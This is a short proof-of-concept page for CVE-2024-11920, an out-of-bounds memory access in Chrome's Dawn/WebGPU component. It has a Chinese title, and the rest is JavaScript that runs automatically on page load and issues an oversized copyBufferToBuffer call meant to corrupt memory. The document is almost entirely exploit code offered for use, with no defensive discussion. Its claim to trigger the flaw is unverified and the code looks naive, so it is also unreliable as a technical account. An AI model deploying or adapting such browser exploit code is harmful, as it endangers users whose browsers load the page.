CVE-2024-11920 Google Chrome Dawn组件越界内存访问漏洞

// CVE-2024-11920 PoC - Out of Bounds Memory Access in Dawn/WebGPU // This PoC demonstrates triggering the vulnerability via crafted WebGPU requests async function triggerVulnerability() { try { // Check WebGPU support if (!navigator.gpu) { console.error('WebGPU not supported'); return; } // Request adapter const adapter = await navigator.gpu.requestAdapter({ powerPreference: 'high-performance' }); if (!adapter) { console.error('Failed to get GPU adapter'); return; } // Request device const device = await adapter.requestDevice(); // Create buffer with specific size to trigger OOB // The vulnerability exists in Dawn's handling of buffer operations const bufferSize = 0x10000; // Specific size to trigger boundary condition const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create another buffer and attempt out-of-bounds write const smallBuffer = device.createBuffer({ size: 16, usage: GPUBufferUsage.COPY_DST }); // Prepare command encoder const commandEncoder = device.createCommandEncoder(); // Attempt operation that may trigger OOB in Dawn // This specific pattern can trigger the vulnerability in affected versions commandEncoder.copyBufferToBuffer( buffer, 0, // source buffer and offset smallBuffer, 0, // dest buffer and offset bufferSize + 1 // size exceeding boundaries - triggers OOB ); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('PoC executed - check for crash or memory access violation'); } catch (error) { console.error('Error during PoC execution:', error); } } // Execute when page loads document.addEventListener('DOMContentLoaded', () => { triggerVulnerability(); });